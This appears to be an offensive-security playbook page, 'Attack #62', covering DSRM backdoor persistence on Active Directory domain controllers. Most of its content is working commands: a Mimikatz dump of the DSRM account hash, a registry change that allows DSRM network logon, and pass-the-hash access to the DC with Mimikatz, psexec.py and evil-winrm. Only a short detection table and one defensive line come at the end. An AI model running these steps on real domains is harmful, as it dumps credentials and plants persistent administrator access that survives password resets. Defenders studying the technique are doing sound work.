--- title: "Attack #62 โ€” DSRM Backdoor Abuse" description: "Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this accountโ€ฆ" category: active-directory subcategory: "Persistence" tags: ["active-directory", "ntlm", "privilege-escalation", "hashing"] tools: ["Mimikatz", "Evil-WinRM", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/๐ŸŸค Attack #62 โ€” DSRM Backdoor Abuse.md" --- # ๐ŸŸค Attack #62 โ€” DSRM Backdoor Abuse *** ## ๐Ÿ“– How It Works Every DC has a **Directory Services Restore Mode (DSRM)** administrator account with a separate password set during DC promotion. By default, this account can't be used for network logons. However, modifying the registry key `DsrmAdminLogonBehavior` to `2` allows the DSRM administrator to authenticate over the network โ€” creating a **persistent backdoor** that survives AD credential resets, KRBTGT rotation, and even domain trust rebuilds. *** ## โš™๏ธ Prerequisites | Requirement | Detail | |---|---| | **Local admin / SYSTEM on DC** | To modify registry and dump DSRM hash | *** ## ๐Ÿ’ป Full Commands ```powershell # โ”€โ”€ Step 1: Dump DSRM password hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ mimikatz.exe privilege::debug token::elevate lsadump::sam # Look for: Administrator (local) โ€” this is the DSRM account hash # โ”€โ”€ Step 2: Enable network logon for DSRM โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f # Value 0 = DSRM only in restore mode (default) # Value 1 = DSRM when AD DS is stopped # Value 2 = DSRM always allowed for network logon โ† what we want # โ”€โ”€ Step 3: Use DSRM hash for network access โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ # PtH with the DSRM Administrator hash: sekurlsa::pth /domain:DC01 /user:Administrator /ntlm: /run:cmd.exe # Note: /domain is the DC hostname, NOT the domain โ€” this is the local admin # Result: Can access DC01 as .\Administrator forever ``` ```bash # โ”€โ”€ From Linux โ€” PtH with DSRM hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ psexec.py ./Administrator@DC01.corp.local -hashes : evil-winrm -i DC01.corp.local -u Administrator -H ``` *** ## ๐Ÿ›ก๏ธ Detection โ€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4657** | Security Log (DC) | Registry modification โ€” DsrmAdminLogonBehavior created/changed | | **4624** | Security Log (DC) | Local Administrator logon on DC (not domain admin) | *** ## ๐Ÿ”— Attack Chain Context ``` [DSRM Backdoor] โ”€โ”€โ†’ Permanent DC Access via Local Admin Account โ”‚ โ”œโ”€โ”€โ†’ ๐Ÿ”’ Survives: KRBTGT rotation, DA password resets, trust rebuilds โ”œโ”€โ”€โ†’ ๐Ÿ”— Only detected by: monitoring DsrmAdminLogonBehavior registry key โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: monitor registry, never set DsrmAdminLogonBehavior to 2 ``` *** > โœ… **Attack #62 โ€” DSRM Backdoor complete.**